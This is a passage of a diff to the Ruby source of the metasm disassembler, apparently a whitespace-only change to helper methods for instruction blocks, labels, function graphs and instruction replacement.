dasm.normalize(to) + yield to if not dasm.function[to] + } + end + + # yields all to that are not in the same subfunction as this block + def each_to_otherfunc(dasm) + each_to { |to, type| + to = dasm.normalize(to) + yield to if type == :indirect or dasm.function[to] or not dasm.decoded[to] + } + end end class DecodedInstruction - # checks if this instruction is the first of its IBlock - def block_head? - self == @block.list.first - end + # checks if this instruction is the first of its IBlock + def block_head? + self == @block.list.first + end end class CPU - # compat alias, for scripts using older version of metasm - def get_backtrace_binding(di) backtrace_binding(di) end - - # return something like backtrace_binding in the forward direction - # set pc_reg to some reg name (eg :pc) to include effects on the instruction pointer - def get_fwdemu_binding(di, pc_reg=nil) - fdi = di.backtrace_binding ||= get_backtrace_binding(di) - # find self-updated regs & revert them in simultaneous affectations - # XXX handles only a <- a+i for now, this covers all useful cases (except imul eax, eax, 42 jz foobar) - fdi.keys.grep(::Symbol).each { |s| - val = Expression[fdi[s]] - next if val.lexpr != s or (val.op != :+ and val.op != :-) #or not val.rexpr.kind_of? ::Integer - fwd = { s => val } - inv = { s => val.dup } - inv[s].op = ((inv[s].op == :+) ? :- : :+) - nxt = {} - fdi.each { |k, v| - if k == s - nxt[k] = v - else - k = k.bind(fwd).reduce_rec if k.kind_of? Indirection - nxt[k] = Expression[Expression[v].bind(inv).reduce_rec] - end - } - fdi = nxt - } - if pc_reg - if di.opcode.props[:setip] - xr = get_xrefs_x(nil, di) - if xr and xr.length == 1 - fdi[pc_reg] = xr[0] - else - fdi[:incomplete_binding] = Expression[1] - end - else - fdi[pc_reg] = Expression[pc_reg, :+, di.bin_length] - end - end - fdi - end + # compat alias, for scripts using older version of metasm + def get_backtrace_binding(di) backtrace_binding(di) end + + # return something like backtrace_binding in the forward direction + # set pc_reg to some reg name (eg :pc) to include effects on the instruction pointer + def get_fwdemu_binding(di, pc_reg=nil) + fdi = di.backtrace_binding ||= get_backtrace_binding(di) + # find self-updated regs & revert them in simultaneous affectations + # XXX handles only a <- a+i for now, this covers all useful cases (except imul eax, eax, 42 jz foobar) + fdi.keys.grep(::Symbol).each { |s| + val = Expression[fdi[s]] + next if val.lexpr != s or (val.op != :+ and val.op != :-) #or not val.rexpr.kind_of? ::Integer + fwd = { s => val } + inv = { s => val.dup } + inv[s].op = ((inv[s].op == :+) ? :- : :+) + nxt = {} + fdi.each { |k, v| + if k == s + nxt[k] = v + else + k = k.bind(fwd).reduce_rec if k.kind_of? Indirection + nxt[k] = Expression[Expression[v].bind(inv).reduce_rec] + end + } + fdi = nxt + } + if pc_reg + if di.opcode.props[:setip] + xr = get_xrefs_x(nil, di) + if xr and xr.length == 1 + fdi[pc_reg] = xr[0] + else + fdi[:incomplete_binding] = Expression[1] + end + else + fdi[pc_reg] = Expression[pc_reg, :+, di.bin_length] + end + end + fdi + end end class Disassembler - # access the default value for @@backtrace_maxblocks for newly created Disassemblers - def self.backtrace_maxblocks ; @@backtrace_maxblocks ; end - def self.backtrace_maxblocks=(b) ; @@backtrace_maxblocks = b ; end - - # returns the dasm section's edata containing addr - # its #ptr points to addr - # returns the 1st element of #get_section_at - def get_edata_at(addr) - if s = get_section_at(addr) - s[0] - end - end - - # returns the DecodedInstruction at addr if it exists - def di_at(addr) - di = @decoded[addr] || @decoded[normalize(addr)] if addr - di if di.kind_of? DecodedInstruction - end - - # returns the InstructionBlock containing the address at addr - def block_at(addr) - di = di_at(addr) - di.block if di - end - - # returns the DecodedFunction at addr if it exists - def function_at(addr) - f = @function[addr] || @function[normalize(addr)] if addr - f if f.kind_of? DecodedFunction - end - - # returns the DecodedInstruction covering addr - # returns one at starting nearest addr if multiple are available (overlapping instrs) - def di_including(addr) - return if not addr - addr = normalize(addr) - if off = (0...16).find { |o| @decoded[addr-o].kind_of? DecodedInstruction and @decoded[addr-o].bin_length > o } - @decoded[addr-off] - end - end - - # returns the InstructionBlock containing the byte at addr - # returns the one of di_including() on multiple matches (overlapping instrs) - def block_including(addr) - di = di_including(addr) - di.block if di - end - - # returns the DecodedFunction including this byte - # return the one of find_function_start() if multiple are possible (block shared by multiple funcs) - def function_including(addr) - return if not di = di_including(addr) - function_at(find_function_start(di.address)) - end - - # yields every InstructionBlock - # returns the list of IBlocks - def each_instructionblock - ret = [] - @decoded.each { |addr, di| - next if not di.kind_of? DecodedInstruction or not di.block_head? - ret << di.block - yield di.block if block_given? - } - ret - end - alias instructionblocks each_instructionblock - - # return a backtrace_binding reversed (akin to code emulation) (but not really) - def get_fwdemu_binding(di, pc=nil) - @cpu.get_fwdemu_binding(di, pc) - end - - # reads len raw bytes from the mmaped address space - def read_raw_data(addr, len) - if e = get_section_at(addr) - e[0].read(len) - end - end - - # read an int of arbitrary type (:u8, :i32, ...) - def decode_int(addr, type) - type = "u#{type*8}".to_sym if type.kind_of? Integer - if e = get_section_at(addr) - e[0].decode_imm(type, @cpu.endianness) - end - end - - # read a byte at address addr - def decode_byte(addr) - decode_int(addr, :u8) - end - - # read a dword at address addr - # the dword is cpu-sized (eg 32 or 64bits) - def decode_dword(addr) - decode_int(addr, @cpu.size/8) - end - - # read a zero-terminated string from addr - # if no terminal 0 is found, return nil - def decode_strz(addr, maxsz=4096) - if e = get_section_at(addr) - str = e[0].read(maxsz).to_s - return if not len = str.index(?\0) - str[0, len] - end - end - - # read a zero-terminated wide string from addr - # return nil if no terminal found - def decode_wstrz(addr, maxsz=4096) - if e = get_section_at(addr) - str = e[0].read(maxsz).to_s - return if not len = str.unpack('v*').index(0) - str[0, 2*len] - end - end - - # disassembles one instruction at address - # returns nil if no instruction can be decoded there - # does not update any internal state of the disassembler, nor reuse the @decoded cache - def disassemble_instruction(addr) - if e = get_section_at(addr) - @cpu.decode_instruction(e[0], normalize(addr)) - end - end - - # disassemble addr as if the code flow came from from_addr - def disassemble_from(addr, from_addr) - from_addr = from_addr.address if from_addr.kind_of? DecodedInstruction - from_addr = normalize(from_addr) - if b = block_at(from_addr) - b.add_to_normal(addr) - end - @addrs_todo << [addr, from_addr] - disassemble - end - - # returns the label associated to an addr, or nil if none exist - def get_label_at(addr) - e, b = get_section_at(addr, false) - e.inv_export[e.ptr] if e - end - - # sets the label for the specified address - # returns nil if the address is not mapped - # memcheck is passed to get_section_at to validate that the address is mapped - def set_label_at(addr, name, memcheck=true) - addr = Expression[addr].reduce - e, b = get_section_at(addr, memcheck) - if not e - elsif not l = e.inv_export[e.ptr] - l = @program.new_label(name) - e.add_export l, e.ptr - @label_alias_cache = nil - @old_prog_binding[l] = @prog_binding[l] = b + e.ptr - elsif l != name - l = rename_label l, @program.new_label(name) - end - l - end - - # remove a label at address addr - def del_label_at(addr, name=get_label_at(addr)) - ed, b = get_section_at(addr) - if ed and ed.inv_export[ed.ptr] - ed.del_export name, ed.ptr - @label_alias_cache = nil - end - each_xref(addr) { |xr| - next if not xr.origin or not o = @decoded[xr.origin] or not o.kind_of? Renderable - o.each_expr { |e| - e.lexpr = addr if e.lexpr == name - e.rexpr = addr if e.rexpr == name - } - } - @old_prog_binding.delete name - @prog_binding.delete name - end - - # changes a label to another, updates referring instructions etc - # returns the new label - # the new label must be program-uniq (see @program.new_label) - def rename_label(old, new) - each_xref(normalize(old)) { |x| - next if not di = @decoded[x.origin] - @cpu.replace_instr_arg_immediate(di.instruction, old, new) - di.comment.to_a.each { |c| c.gsub!(old, new) } - } - e, l = get_section_at(old, false) - if e - e.add_export new, e.export.delete(old), true - end - raise "cant rename nonexisting label #{old}" if not @prog_binding[old] - @label_alias_cache = nil - @old_prog_binding[new] = @prog_binding[new] = @prog_binding.delete(old) - @addrs_todo.each { |at| - case at[0] - when old; at[0] = new - when Expression; at[0] = at[0].bind(old => new) - end - } - - if @inv_section_reloc[old] - @inv_section_reloc[old].each { |b, e_, o, r| - (0..16).each { |off| - if di = @decoded[Expression[b]+o-off] and di.bin_length > off - @cpu.replace_instr_arg_immediate(di.instruction, old, new) - end - } - r.target = r.target.bind(old => new) - } - @inv_section_reloc[new] = @inv_section_reloc.delete(old) - end - - if c_parser and @c_parser.toplevel.symbol[old] - @c_parser.toplevel.symbol[new] = @c_parser.toplevel.symbol.delete(old) - @c_parser.toplevel.symbol[new].name = new - end - - new - end - - # finds the start of a function from the address of an instruction - def find_function_start(addr) - addr = addr.address if addr.kind_of? DecodedInstruction - todo = [addr] - done = [] - while a = todo.pop - a = normalize(a) - di = @decoded[a] - next if done.include? a or not di.kind_of? DecodedInstruction - done << a - a = di.block.address - break a if @function[a] - l = [] - di.block.each_from_samefunc(self) { |f| l << f } - break a if l.empty? - todo.concat l - end - end - - # iterates over the blocks of a function, yields each func block address - # returns the graph of blocks (block address => [list of samefunc blocks]) - def each_function_block(addr, incl_subfuncs = false, find_func_start = true) - addr = @function.index(addr) if addr.kind_of? DecodedFunction - addr = addr.address if addr.kind_of? DecodedInstruction - addr = find_function_start(addr) if not @function[addr] and find_func_start - todo = [addr] - ret = {} - while a = todo.pop - next if not di = di_at(a) - a = di.block.address - next if ret[a] - ret[a] = [] - yield a if block_given? - di.block.each_to_samefunc(self) { |f| ret[a] << f ; todo << f } - di.block.each_to_otherfunc(self) { |f| ret[a] << f ; todo << f } if incl_subfuncs - end - ret - end - alias function_blocks each_function_block - - # returns a graph of function calls - # for each func passed as arg (default: all), update the 'ret' hash - # associating func => [list of direct subfuncs called] - def function_graph(funcs = @function.keys + @entrypoints.to_a, ret={}) - funcs = funcs.map { |f| normalize(f) }.uniq.find_all { |f| @decoded[f] } - funcs.each { |f| - next if ret[f] - ret[f] = [] - each_function_block(f) { |b| - @decoded[b].block.each_to_otherfunc(self) { |sf| - ret[f] |= [sf] - } - } - } - ret - end - - # return the graph of function => subfunction list - # recurses from an entrypoint - def function_graph_from(addr) - addr = normalize(addr) - addr = find_function_start(addr) || addr - ret = {} - osz = ret.length-1 - while ret.length != osz - osz = ret.length - function_graph(ret.values.flatten + [addr], ret) - end - ret - end - - # return the graph of function => subfunction list - # for which a (sub-sub)function includes addr - def function_graph_to(addr) - addr = normalize(addr) - addr = find_function_start(addr) || addr - full = function_graph - ret = {} - todo = [addr] - done = [] - while a = todo.pop - next if done.include? a - done << a - full.each { |f, sf| - next if not sf.include? a - ret[f] ||= [] - ret[f] |= [a] - todo << f - } - end - ret - end - - # returns info on sections, from @program if supported - # returns an array of [name, addr, length, info] - def section_info - if @program.respond_to? :section_info - @program.section_info - else - list = [] - @sections.each { |k, v| - list << [get_label_at(k), normalize(k), v.length, nil] - } - list - end - end - - # transform an address into a file offset - def addr_to_fileoff(addr) - addr = normalize(addr) - @program.addr_to_fileoff(addr) - end - - # transform a file offset into an address - def fileoff_to_addr(foff) - @program.fileoff_to_addr(foff) - end - - # remove the decodedinstruction from..to, replace them by the new Instructions in 'by' - # this updates the block list structure, old di will still be visible in @decoded, except from original block (those are deleted) - # if from..to spans multiple blocks - # to.block is splitted after to - # all path from from are replaced by a single link to after 'to', be careful ! + # access the default value for @@backtrace_maxblocks for newly created Disassemblers + def self.backtrace_maxblocks ; @@backtrace_maxblocks ; end + def self.backtrace_maxblocks=(b) ; @@backtrace_maxblocks = b ; end + + # returns the dasm section's edata containing addr + # its #ptr points to addr + # returns the 1st element of #get_section_at + def get_edata_at(addr) + if s = get_section_at(addr) + s[0] + end + end + + # returns the DecodedInstruction at addr if it exists + def di_at(addr) + di = @decoded[addr] || @decoded[normalize(addr)] if addr + di if di.kind_of? DecodedInstruction + end + + # returns the InstructionBlock containing the address at addr + def block_at(addr) + di = di_at(addr) + di.block if di + end + + # returns the DecodedFunction at addr if it exists + def function_at(addr) + f = @function[addr] || @function[normalize(addr)] if addr + f if f.kind_of? DecodedFunction + end + + # returns the DecodedInstruction covering addr + # returns one at starting nearest addr if multiple are available (overlapping instrs) + def di_including(addr) + return if not addr + addr = normalize(addr) + if off = (0...16).find { |o| @decoded[addr-o].kind_of? DecodedInstruction and @decoded[addr-o].bin_length > o } + @decoded[addr-off] + end + end + + # returns the InstructionBlock containing the byte at addr + # returns the one of di_including() on multiple matches (overlapping instrs) + def block_including(addr) + di = di_including(addr) + di.block if di + end + + # returns the DecodedFunction including this byte + # return the one of find_function_start() if multiple are possible (block shared by multiple funcs) + def function_including(addr) + return if not di = di_including(addr) + function_at(find_function_start(di.address)) + end + + # yields every InstructionBlock + # returns the list of IBlocks + def each_instructionblock + ret = [] + @decoded.each { |addr, di| + next if not di.kind_of? DecodedInstruction or not di.block_head? + ret << di.block + yield di.block if block_given? + } + ret + end + alias instructionblocks each_instructionblock + + # return a backtrace_binding reversed (akin to code emulation) (but not really) + def get_fwdemu_binding(di, pc=nil) + @cpu.get_fwdemu_binding(di, pc) + end + + # reads len raw bytes from the mmaped address space + def read_raw_data(addr, len) + if e = get_section_at(addr) + e[0].read(len) + end + end + + # read an int of arbitrary type (:u8, :i32, ...) + def decode_int(addr, type) + type = "u#{type*8}".to_sym if type.kind_of? Integer + if e = get_section_at(addr) + e[0].decode_imm(type, @cpu.endianness) + end + end + + # read a byte at address addr + def decode_byte(addr) + decode_int(addr, :u8) + end + + # read a dword at address addr + # the dword is cpu-sized (eg 32 or 64bits) + def decode_dword(addr) + decode_int(addr, @cpu.size/8) + end + + # read a zero-terminated string from addr + # if no terminal 0 is found, return nil + def decode_strz(addr, maxsz=4096) + if e = get_section_at(addr) + str = e[0].read(maxsz).to_s + return if not len = str.index(?\0) + str[0, len] + end + end + + # read a zero-terminated wide string from addr + # return nil if no terminal found + def decode_wstrz(addr, maxsz=4096) + if e = get_section_at(addr) + str = e[0].read(maxsz).to_s + return if not len = str.unpack('v*').index(0) + str[0, 2*len] + end + end + + # disassembles one instruction at address + # returns nil if no instruction can be decoded there + # does not update any internal state of the disassembler, nor reuse the @decoded cache + def disassemble_instruction(addr) + if e = get_section_at(addr) + @cpu.decode_instruction(e[0], normalize(addr)) + end + end + + # disassemble addr as if the code flow came from from_addr + def disassemble_from(addr, from_addr) + from_addr = from_addr.address if from_addr.kind_of? DecodedInstruction + from_addr = normalize(from_addr) + if b = block_at(from_addr) + b.add_to_normal(addr) + end + @addrs_todo << [addr, from_addr] + disassemble + end + + # returns the label associated to an addr, or nil if none exist + def get_label_at(addr) + e, b = get_section_at(addr, false) + e.inv_export[e.ptr] if e + end + + # sets the label for the specified address + # returns nil if the address is not mapped + # memcheck is passed to get_section_at to validate that the address is mapped + def set_label_at(addr, name, memcheck=true) + addr = Expression[addr].reduce + e, b = get_section_at(addr, memcheck) + if not e + elsif not l = e.inv_export[e.ptr] + l = @program.new_label(name) + e.add_export l, e.ptr + @label_alias_cache = nil + @old_prog_binding[l] = @prog_binding[l] = b + e.ptr + elsif l != name + l = rename_label l, @program.new_label(name) + end + l + end + + # remove a label at address addr + def del_label_at(addr, name=get_label_at(addr)) + ed, b = get_section_at(addr) + if ed and ed.inv_export[ed.ptr] + ed.del_export name, ed.ptr + @label_alias_cache = nil + end + each_xref(addr) { |xr| + next if not xr.origin or not o = @decoded[xr.origin] or not o.kind_of? Renderable + o.each_expr { |e| + e.lexpr = addr if e.lexpr == name + e.rexpr = addr if e.rexpr == name + } + } + @old_prog_binding.delete name + @prog_binding.delete name + end + + # changes a label to another, updates referring instructions etc + # returns the new label + # the new label must be program-uniq (see @program.new_label) + def rename_label(old, new) + each_xref(normalize(old)) { |x| + next if not di = @decoded[x.origin] + @cpu.replace_instr_arg_immediate(di.instruction, old, new) + di.comment.to_a.each { |c| c.gsub!(old, new) } + } + e, l = get_section_at(old, false) + if e + e.add_export new, e.export.delete(old), true + end + raise "cant rename nonexisting label #{old}" if not @prog_binding[old] + @label_alias_cache = nil + @old_prog_binding[new] = @prog_binding[new] = @prog_binding.delete(old) + @addrs_todo.each { |at| + case at[0] + when old; at[0] = new + when Expression; at[0] = at[0].bind(old => new) + end + } + + if @inv_section_reloc[old] + @inv_section_reloc[old].each { |b, e_, o, r| + (0..16).each { |off| + if di = @decoded[Expression[b]+o-off] and di.bin_length > off + @cpu.replace_instr_arg_immediate(di.instruction, old, new) + end + } + r.target = r.target.bind(old => new) + } + @inv_section_reloc[new] = @inv_section_reloc.delete(old) + end + + if c_parser and @c_parser.toplevel.symbol[old] + @c_parser.toplevel.symbol[new] = @c_parser.toplevel.symbol.delete(old) + @c_parser.toplevel.symbol[new].name = new + end + + new + end + + # finds the start of a function from the address of an instruction + def find_function_start(addr) + addr = addr.address if addr.kind_of? DecodedInstruction + todo = [addr] + done = [] + while a = todo.pop + a = normalize(a) + di = @decoded[a] + next if done.include? a or not di.kind_of? DecodedInstruction + done << a + a = di.block.address + break a if @function[a] + l = [] + di.block.each_from_samefunc(self) { |f| l << f } + break a if l.empty? + todo.concat l + end + end + + # iterates over the blocks of a function, yields each func block address + # returns the graph of blocks (block address => [list of samefunc blocks]) + def each_function_block(addr, incl_subfuncs = false, find_func_start = true) + addr = @function.index(addr) if addr.kind_of? DecodedFunction + addr = addr.address if addr.kind_of? DecodedInstruction + addr = find_function_start(addr) if not @function[addr] and find_func_start + todo = [addr] + ret = {} + while a = todo.pop + next if not di = di_at(a) + a = di.block.address + next if ret[a] + ret[a] = [] + yield a if block_given? + di.block.each_to_samefunc(self) { |f| ret[a] << f ; todo << f } + di.block.each_to_otherfunc(self) { |f| ret[a] << f ; todo << f } if incl_subfuncs + end + ret + end + alias function_blocks each_function_block + + # returns a graph of function calls + # for each func passed as arg (default: all), update the 'ret' hash + # associating func => [list of direct subfuncs called] + def function_graph(funcs = @function.keys + @entrypoints.to_a, ret={}) + funcs = funcs.map { |f| normalize(f) }.uniq.find_all { |f| @decoded[f] } + funcs.each { |f| + next if ret[f] + ret[f] = [] + each_function_block(f) { |b| + @decoded[b].block.each_to_otherfunc(self) { |sf| + ret[f] |= [sf] + } + } + } + ret + end + + # return the graph of function => subfunction list + # recurses from an entrypoint + def function_graph_from(addr) + addr = normalize(addr) + addr = find_function_start(addr) || addr + ret = {} + osz = ret.length-1 + while ret.length != osz + osz = ret.length + function_graph(ret.values.flatten + [addr], ret) + end + ret + end + + # return the graph of function => subfunction list + # for which a (sub-sub)function includes addr + def function_graph_to(addr) + addr = normalize(addr) + addr = find_function_start(addr) || addr + full = function_graph + ret = {} + todo = [addr] + done = [] + while a = todo.pop + next if done.include? a + done << a + full.each { |f, sf| + next if not sf.include? a + ret[f] ||= [] + ret[f] |= [a] + todo << f + } + end + ret + end + + # returns info on sections, from @program if supported + # returns an array of [name, addr, length, info] + def section_info + if @program.respond_to? :section_info + @program.section_info + else + list = [] + @sections.each { |k, v| + list << [get_label_at(k), normalize(k), v.length, nil] + } + list + end + end + + # transform an address into a file offset + def addr_to_fileoff(addr) + addr = normalize(addr) + @program.addr_to_fileoff(addr) + end + + # transform a file offset into an address + def fileoff_to_addr(foff) + @program.fileoff_to_addr(foff) + end + + # remove the decodedinstruction from..to, replace them by the new Instructions in 'by' + # this updates the block list structure, old di will still be visible in @decoded, except from original block (those are deleted) + # if from..to spans multiple blocks + # to.block is splitted after to + # all path from from are replaced by a single link to after 'to', be careful ! # (eg a->b->... & a->c ; from in a, to in c => a->b is lost) - # all instructions are stuffed in the first block - # paths are only walked using from/to_normal - # 'by' may be empty - # returns the block containing the new instrs (nil if empty) - def replace_instrs(from, to, by) - raise 'bad from' if not fdi = di_at(from) or not fdi.block.list.index(fdi) - raise 'bad to' if not tdi = di_at(to) or not tdi.block.list.index(tdi) - - # create DecodedInstruction from Instructions in 'by' if needed - split_block(fdi.block, fdi.address) - split_block(tdi.block, tdi.block.list[tdi.block.list.index(tdi)+1].address) if tdi != tdi.block.list.last - fb = fdi.block - tb = tdi.block - - # generate DecodedInstr from Instrs - # try to keep the bin_length of original block - wantlen = tdi.address + tdi.bin_length - fb.address - wantlen -= by.grep(DecodedInstruction).inject(0) { |len, di| len + di.bin_length } - ldi = by.last - ldi = DecodedInstruction.new(ldi) if ldi.kind_of? Instruction - wantlen = by.grep(Instruction).length if wantlen < 0 or (ldi and ldi.opcode.props[:setip]) - by.map! { |di| - if di.kind_of? Instruction - di = DecodedInstruction.new(di) - wantlen -= di.bin_length = wantlen / by.grep(Instruction).length - end - di - } + # all instructions are stuffed in the first block + # paths are only walked using from/to_normal + # 'by' may be empty + # returns the block containing the new instrs (nil if empty) + def replace_instrs(from, to, by) + raise 'bad from' if not fdi = di_at(from) or not fdi.block.list.index(fdi) + raise 'bad to' if not tdi = di_at(to) or not tdi.block.list.index(tdi) + + # create DecodedInstruction from Instructions in 'by' if needed + split_block(fdi.block, fdi.address) + split_block(tdi.block, tdi.block.list[tdi.block.list.index(tdi)+1].address) if tdi != tdi.block.list.last + fb = fdi.block + tb = tdi.block + + # generate DecodedInstr from Instrs + # try to keep the bin_length of original block + wantlen = tdi.address + tdi.bin_length - fb.address + wantlen -= by.grep(DecodedInstruction).inject(0) { |len, di| len + di.bin_length } + ldi = by.last + ldi = DecodedInstruction.new(ldi) if ldi.kind_of? Instruction + wantlen = by.grep(Instruction).length if wantlen < 0 or (ldi and ldi.opcode.props[:setip]) + by.map! { |di| + if di.kind_of? Instruction + di = DecodedInstruction.new(di) + wantlen -= di.bin_length = wantlen / by.grep(Instruction).length + end + di + } #puts " ** patch next_addr to #{Expression[tb.list.last.next_addr]}" if not by.empty? and by.last.opcode.props[:saveip] - by.last.next_addr = tb.list.last.next_addr if not by.empty? and by.last.opcode.props[:saveip] - fb.list.each { |di| @decoded.delete di.address } - fb.list.clear - tb.list.each { |di| @decoded.delete di.address } - tb.list.clear - by.each { |di| fb.add_di di } - by.each_with_index { |di, i| - if odi = di_at(di.address) - # collision, hopefully with another deobfuscation run ? - if by[i..-1].all? { |mydi| mydi.to_s == @decoded[mydi.address].to_s } - puts "replace_instrs: merge at #{di}" if $DEBUG - by[i..-1] = by[i..-1].map { |xdi| @decoded[xdi.address] } - by[i..-1].each { fb.list.pop } - split_block(odi.block, odi.address) - tb.to_normal = [di.address] - (odi.block.from_normal ||= []) << to - odi.block.from_normal.uniq! - break - else - #raise "replace_instrs: collision #{di} vs #{odi}" - puts "replace_instrs: collision #{di} vs #{odi}" if $VERBOSE - while @decoded[di.address].kind_of? DecodedInstruction # find free space.. raise ? - di.address += 1 # XXX use floats ? - di.bin_length -= 1 - end - end - end - @decoded[di.address] = di - } - @addrs_done.delete_if { |ad| normalize(ad[0]) == tb.address or ad[1] == tb.address } - @addrs_done.delete_if { |ad| normalize(ad[0]) == fb.address or ad[1] == fb.address } if by.empty? and tb.address != fb.address - - # update to_normal/from_normal - fb.to_normal = tb.to_normal - fb.to_normal.to_a.each { |newto| - # other paths may already point to newto, we must only update the relevant entry - if ndi = di_at(newto) and idx = ndi.block.from_normal.to_a.index(to) - if by.empty? - ndi.block.from_normal[idx,1] = fb.from_normal.to_a - else - ndi.block.from_normal[idx] = fb.list.last.address - end - end - } - - fb.to_subfuncret = tb.to_subfuncret - fb.to_subfuncret.to_a.each { |newto| - if ndi = di_at(newto) and idx = ndi.block.from_subfuncret.to_a.index(to) - if by.empty? - ndi.block.from_subfuncret[idx,1] = fb.from_subfuncret.to_a - else - ndi.block.from_subfuncret[idx] = fb.list.last.address - end - end - } - - if by.empty? - tb.to_subfuncret = nil if tb.to_subfuncret == [] - tolist = tb.to_subfuncret || tb.to_normal.to_a - if lfrom = get_label_at(fb.address) and tolist.length == 1 - lto = auto_label_at(tolist.first) - each_xref(fb.address, :x) { |x| - next if not di = @decoded[x.origin] - @cpu.replace_instr_arg_immediate(di.instruction, lfrom, lto) - di.comment.to_a.each { |c| c.gsub!(lfrom, lto) } - } - end - fb.from_normal.to_a.each { |newfrom| - if ndi = di_at(newfrom) and idx = ndi.block.to_normal.to_a.index(from) - ndi.block.to_normal[idx..idx] = tolist - end - } - fb.from_subfuncret.to_a.each { |newfrom| - if ndi = di_at(newfrom) and idx = ndi.block.to_subfuncret.to_a.index(from) - ndi.block.to_subfuncret[idx..idx] = tolist - end - } - else - # merge with adjacent blocks - merge_blocks(fb, fb.to_normal.first) if fb.to_normal.to_a.length == 1 and di_at(fb.to_normal.first) - merge_blocks(fb.from_normal.first, fb) if fb.from_normal.to_a.length == 1 and di_at(fb.from_normal.first) - end - - fb if not by.empty? - end - - # undefine a sequence of decodedinstructions from an address - # stops at first non-linear branch - # removes @decoded, @comments, @xrefs, @addrs_done - # does not update @prog_binding (does not undefine labels) - def undefine_from(addr) - return if not di_at(addr) - @comment.delete addr if @function.delete addr - split_block(addr) - addrs = [] - while di = di_at(addr) - di.block.list.each { |ddi| addrs << ddi.address } - break if di.block.to_subfuncret.to_a != [] or di.block.to_normal.to_a.length != 1 - addr = di.block.to_normal.first - break if ndi = di_at(addr) and ndi.block.from_normal.to_a.length != 1 - end - addrs.each { |a| @decoded.delete a } - @xrefs.delete_if { |a, x| - if not x.kind_of? Array - true if x and addrs.include? x.origin - else - x.delete_if { |xx| addrs.include? xx.origin } - true if x.empty? - end - } - @addrs_done.delete_if { |ad| !(addrs & [normalize(ad[0]), normalize(ad[1])]).empty? } - end - - # merge two instruction blocks if they form a simple chain and are adjacent - # returns true if merged - def merge_blocks(b1, b2, allow_nonadjacent = false) - if b1 and not b1.kind_of? InstructionBlock - return if not b1 = block_at(b1) - end + by.last.next_addr = tb.list.last.next_addr if not by.empty? and by.last.opcode.props[:saveip] + fb.list.each { |di| @decoded.delete di.address } + fb.list.clear + tb.list.each { |di| @decoded.delete di.address } + tb.list.clear + by.each { |di| fb.add_di di } + by.each_with_index { |di, i| + if odi = di_at(di.address) + # collision, hopefully with another deobfuscation run ? + if by[i..-1].all? { |mydi| mydi.to_s == @decoded[mydi.address].to_s } + puts "replace_instrs: merge at #{di}" if $DEBUG + by[i..-1] = by[i..-1].map { |xdi| @decoded[xdi.address] } + by[i..-1].each { fb.list.pop } + split_block(odi.block, odi.address) + tb.to_normal = [di.address] + (odi.block.from_normal ||= []) << to + odi.block.from_normal.uniq! + break + else + #raise "replace_instrs: collision #{di} vs #{odi}" + puts "replace_instrs: collision #{di} vs #{odi}" if $VERBOSE + while @decoded[di.address].kind_of? DecodedInstruction # find free space.. raise ? + di.address += 1 # XXX use floats ? + di.bin_length -= 1 + end + end + end + @decoded[di.address] = di + } + @addrs_done.delete_if { |ad| normalize(ad[0]) == tb.address or ad[1] == tb.address } + @addrs_done.delete_if { |ad| normalize(ad[0]) == fb.address or ad[1] == fb.address } if by.empty? and tb.address != fb.address + + # update to_normal/from_normal + fb.to_normal = tb.to_normal + fb.to_normal.to_a.each { |newto| + # other paths may already point to newto, we must only update the relevant entry + if ndi = di_at(newto) and idx = ndi.block.from_normal.to_a.index(to) + if by.empty? + ndi.block.from_normal[idx,1] = fb.from_normal.to_a + else + ndi.block.from_normal[idx] = fb.list.last.address + end + end + } + + fb.to_subfuncret = tb.to_subfuncret + fb.to_subfuncret.to_a.each { |newto| + if ndi = di_at(newto) and idx = ndi.block.from_subfuncret.to_a.index(to) + if by.empty? + ndi.block.from_subfuncret[idx,1] = fb.from_subfuncret.to_a + else + ndi.block.from_subfuncret[idx] = fb.list.last.address + end + end + } + + if by.empty? + tb.to_subfuncret = nil if tb.to_subfuncret == [] + tolist = tb.to_subfuncret || tb.to_normal.to_a + if lfrom = get_label_at(fb.address) and tolist.length == 1 + lto = auto_label_at(tolist.first) + each_xref(fb.address, :x) { |x| + next if not di = @decoded[x.origin] + @cpu.replace_instr_arg_immediate(di.instruction, lfrom, lto) + di.comment.to_a.each { |c| c.gsub!(lfrom, lto) } + } + end + fb.from_normal.to_a.each { |newfrom| + if ndi = di_at(newfrom) and idx = ndi.block.to_normal.to_a.index(from) + ndi.block.to_normal[idx..idx] = tolist + end + } + fb.from_subfuncret.to_a.each { |newfrom| + if ndi = di_at(newfrom) and idx = ndi.block.to_subfuncret.to_a.index(from) + ndi.block.to_subfuncret[idx..idx] = tolist + end + } + else + # merge with adjacent blocks + merge_blocks(fb, fb.to_normal.first) if fb.to_normal.to_a.length == 1 and di_at(fb.to_normal.first) + merge_blocks(fb.from_normal.first, fb) if fb.from_normal.to_a.length == 1 and di_at(fb.from_normal.first) + end + + fb if not by.empty? + end + + # undefine a sequence of decodedinstructions from an address + # stops at first non-linear branch + # removes @decoded, @comments, @xrefs, @addrs_done + # does not update @prog_binding (does not undefine labels) + def undefine_from(addr) + return if not di_at(addr) + @comment.delete addr if @function.delete addr + split_block(addr) + addrs = [] + while di = di_at(addr) + di.block.list.each { |ddi| addrs << ddi.address } + break if di.block.to_subfuncret.to_a != [] or di.block.to_normal.to_a.length != 1 + addr = di.block.to_normal.first + break if ndi = di_at(addr) and ndi.block.from_normal.to_a.length != 1 + end + addrs.each { |a| @decoded.delete a } + @xrefs.delete_if { |a, x| + if not x.kind_of? Array + true if x and addrs.include? x.origin + else + x.delete_if { |xx| addrs.include? xx.origin } + true if x.empty? + end + } + @addrs_done.delete_if { |ad| !(addrs & [normalize(ad[0]), normalize(ad[1])]).empty? } + end + + # merge two instruction blocks if they form a simple chain and are adjacent + # returns true if merged + def merge_blocks(b1, b2, allow_nonadjacent = false) + if b1 and not b1.kind_of? InstructionBlock + return if not b1 = block_at(b1) + end if b2 and not b2.kind_of? InstructionBlock return if not b2 = block_at(b2) - end - if b1 and b2 and (allow_nonadjacent or b1.list.last.next_addr == b2.address) and - b1.to_normal.to_a == [b2.address] and b2.from_normal.to_a.length == 1 and # that handles delay_slot - b1.to_subfuncret.to_a == [] and b2.from_subfuncret.to_a == [] and - b1.to_indirect.to_a == [] and b2.from_indirect.to_a == [] - b2.list.each { |di| b1.add_di di } - b1.to_normal = b2.to_normal - b2.list.clear - @addrs_done.delete_if { |ad| normalize(ad[0]) == b2.address } - true - end - end - - # computes the binding of a code sequence - # just a forwarder to CPU#code_binding - def code_binding(*a) - @cpu.code_binding(self, *a) - end - - # returns an array of instructions/label that, once parsed and assembled, should - # give something equivalent to the code accessible from the (list of) entrypoints given - # from the @decoded 